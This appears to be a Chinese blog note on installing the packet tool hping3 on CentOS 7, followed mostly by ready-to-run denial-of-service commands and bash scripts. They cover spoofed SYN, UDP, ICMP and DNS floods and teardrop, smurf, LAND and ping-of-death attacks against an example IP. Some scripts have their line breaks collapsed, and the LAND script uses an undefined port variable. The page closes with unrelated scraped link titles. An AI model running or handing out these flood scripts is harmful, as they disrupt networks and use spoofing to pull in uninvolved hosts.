安装

以下步骤用于 在 centos7 下安装 hping3。

安装依赖库

先安装以下依赖库:

yum -y install libpcap
yum -y install libpcap-devel
yum -y install tcl-devel

方式一: yum 安装

yum -y install hping3

方式二:源码安装

# 下载
wget http://www.hping.org/hping3-20051105.tar.gz# 解压
tar xvf hping3-20051105.tar.gz
cd hping3-20051105# 配置
./configure# 编译
make # 安装
make install

问题 1 (configure 时候出错):

bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h

error can not find the byte order for this architecture, fix bytesex.h

ars.h:190:2: error: #error “Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)ENDIAN"
#error "Please, edit Makefile and add -DBYTE_ORDER
(BIG|LITTLE)_ENDIAN”

原因:

没有指定 x86_64 下的大小端对齐。

解决方法:

修改 bytesex.h,在 defined(__i386__) 后添加 defined(__x86_64__)

修改前:

#if  defined(__i386__) \|| defined(__alpha__) \|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

修改后:

#if  defined(__i386__) \|| defined(__x86_64__) \|| defined(__alpha__) \|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

问题2 (make 时候出错):

libpcap_stuff.c:20:21: fatal error: net/bpf.h: No such file or directory

原因:

bpf.h 路径不正确。

解决方法:

添加软连接 /usr/local/include/net/bpf.h

mkdir -p /usr/local/include/net
ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h

使用

端口扫描

# 通过 eth0 网口,发送 SYN 报文 到 192.168.1.1:80
hping3 -I eth0 -S 192.168.1.1 -p 80

syn flood

默认协议: tcp
默认源端口:随机
默认源地址:攻击机的 ip 地址

# 通过 eth0 网口。发送 SYN 报文 到 192.168.1.1:80。伪造源地址为192.168.1.222,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.1 -p 80 -a 192.168.1.222 -i u1000# 通过 eth0 网口。发送 SYN 报文 到 192.168.1.1:80。伪造随机源地址,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.1 -p 80 --rand-source -i u1000# 通过 eth0 网口。发送 SYN 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
# 洪水攻击,速率最快的攻击。不会显示数据 和 丢包的统计。
hping3 -I eth0 -S 192.168.1.1 -p 80 --rand-source --flood

-I --interface interface name (otherwise default routing interface)
-S --syn set SYN flag
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-a --spoof spoof source address
–rand-source random source address mode. see the man.
-i --interval wait (uX for X microseconds, for example -i u1000)

–fast alias for -i u10000 (10 packets for second)
–faster alias for -i u1000 (100 packets for second)

udp flood

# 发送 udp 报文 到 192.168.1.1:80。
hping3 --udp 192.168.1.1 -p 80# 发送 udp 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.1 -p 80 --rand-source --flood

icmp flood

# 发送 icmp 报文 到 192.168.1.1。
hping3 --icmp 192.168.1.1# 发送 icmp 报文 到 192.168.1.1。伪造随机源地址,洪水攻击。
hping3 --icmp 192.168.1.1 --rand-source --flood

dns flood

# 发送 udp 报文 到 192.168.1.1:53。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.1 -p 53 --rand-source --flood

teardrop

Teardrop攻击是一种拒绝服务攻击。是基于病态分片数据包的攻击方法。
其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息)。
某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。

#!/bin/bashfunction teardrop ( )
{local victim_ip=$1local id_begin=$2local id_end=$3for((id=${id_begin};id<${id_end};id++))dohping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefraghping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400done
}teardrop $*

-x --morefrag set more fragments flag
-d --data data size (default is 0)
-N --id id (default random)
-g --fragoff set the fragment offset
-c --count packet count

SMURF攻击

Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机,
最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞。
更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。

#!/bin/bashfunction smurf ( )
{local victim_ip=$1local broadcast_ip=$2hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}smurf $*

XMAS TREE攻击

TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。

hping3 -SFRP 192.168.1.1

LAND攻击

LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃。这种攻击方法与SYN洪泛攻击并不相同。

#!/bin/bashfunction land ( )
{local victim_ip=$1hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}land $*

Ping of Death攻击

Ping of Death俗称“死拼”。
其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。

#!/bin/bashfunction ping_of_death ()
{local victim_ip=$1local id=186local data_size=1450let icmp_size=${data_size}+8hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag for i in $(seq 50)dolet offset=${i}*${icmp_size}hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offsetdone
}ping_of_death $*

-d --data data size (default is 0)
-x --morefrag set more fragments flag
-g --fragoff set the fragment offset
-N --id id (default random)
-c --count packet count


references

Nmap、Netcat、Hping3工具对比
CentOS 安装hping3 错误以及解决方法
华安解密之DDoS攻防汇总贴
hping3_examples
Smurf攻击
LAND攻击
畸形报文攻击种类及防御

hping3 应用笔记相关推荐

  1. ifconfig没有命令 kali_kali学习笔记之——端口扫描工具

    之前的kali学习笔记分别介绍了kali的网卡问题和隐藏ssid的扫描 蟪蛄语春秋:kali学习笔记之--wi read():Network is down问题​zhuanlan.zhihu.com ...

  2. backtrack5渗透 笔记

    目录         1.信息收集         2.扫描工具         3.漏洞发现         4.社会工程学工具         5.运用层攻击msf         6.局域网攻击 ...

  3. 【安全牛学习笔记】 端口扫描

    端口扫描 ╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋ ┃隐蔽端口扫描                                                    ┃ ...

  4. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  5. Linux性能优化实战学习笔记:第十讲==中断

    Linux性能优化实战学习笔记:第十讲 一.坏境准备 1.拓扑图 2.安装包 在第9节的基础上 在VM2上安装hping3依奈包 ? 1 2 3 4 5 6 7 wget http://www.tcp ...

  6. kali各种攻击手法笔记

    kali_Linux笔记: 1.攻击mac flood 命令:macof 2.攻击DOS(dhcp food) 命令:yersinia -G 3.DOS攻击 TCP SYN flood 命令:hpin ...

  7. 【安全牛学习笔记】主动信息收集-发现(三)

    ╋━━━━━━━━━━━━━╋ ┃发现-----三层发现         ┃ ┃优点                      ┃ ┃    可路由                ┃ ┃    速度比 ...

  8. [笔记]使用Python的scapy库实现SYN洪水攻击

    前言 我在实验过程中,要求使用多种工具实现SYN泛洪攻击,之前使用了kali Linux下的hping3实验SYN攻击,然后我最后了解到了Python也可以写脚本,因此我在这篇文章中写下我学习的过程. ...

  9. 【读书笔记】知易行难,多实践

    前言: 其实,我不喜欢看书,只是喜欢找答案,想通过专业的解答来解决我生活的困惑.所以,我听了很多书,也看了很多书,但看完书,没有很多的实践,导致我并不很深入在很多时候. 分享读书笔记: <高效1 ...

  10. 【运维学习笔记】生命不息,搞事开始。。。

    001生命不息,搞事不止!!! 这段时间和hexesdesu搞了很多事情! 之前是机械硬盘和固态硬盘的测速,我就在那默默的看着他一个硬盘一个机械测来测去. 坐在他后面,每天都能看到这位萌萌的小男孩,各 ...

最新文章

  1. 概要设计实例_多核片上系统(SoC)架构的嵌入式DSP软件设计
  2. 随手记:IDAPro蛮强大
  3. Python:年轻人,不会正则表达式你睡得着觉?有点出息没有?
  4. 使用FizzBu​​zz和JUnitParams进行单元测试
  5. 点评老师freeeim
  6. java设计模式—单例模式
  7. 设计模式—23种设计模式总览
  8. OpenCV——颜色均匀渐变
  9. 公路建设项目管理软件
  10. 【R语言-P值校正(BH)】
  11. 斯蒂文理工计算机排名,全美最强STEM大学排行榜发布!这些学校考虑一下?
  12. shell支持loop吗_如何在 Bash 中使用循环 | Linux 中国
  13. 工具_Typora免费版下载(Typora最后一个免费版)md编辑器
  14. 力扣刷题 DAY_61 回溯
  15. PartⅠIn the Hotel 在宾馆!?
  16. html超链接并可以返回,返回到上一页的html代码的几种写法
  17. XUI框架实现比原生框架更好看并且功能更齐全的EditText框?,以及如何获取EditText的值
  18. html下拉框原理,html下拉框获取value属性
  19. 计算机技术在机械设计中的应用,计算机技术在机械设计制造及其自动化中的应用...
  20. 《简明美国史》笔记(陈勤著)

热门文章

  1. JSON.stringify方法详解
  2. 数学建模预测模型实例(二)---表白墙影响力量化模型
  3. fir.im分发平台安卓苹果应用下载二维码合并步骤
  4. CE教程:植物大战僵尸(单卡片无CD)
  5. 版本号命名规范及原则
  6. The (Near) Future of Database | TiDB DevCon 2019
  7. C语言--三次方程数值求解
  8. android7.0电话录音,芒果录音手机版-芒果通话录音app(电话通话录音软件)下载7.3.2官方安卓版-西西软件下载...
  9. 电商erp那个收费模式最合算?
  10. 软考论文-高项-进度管理、风险管理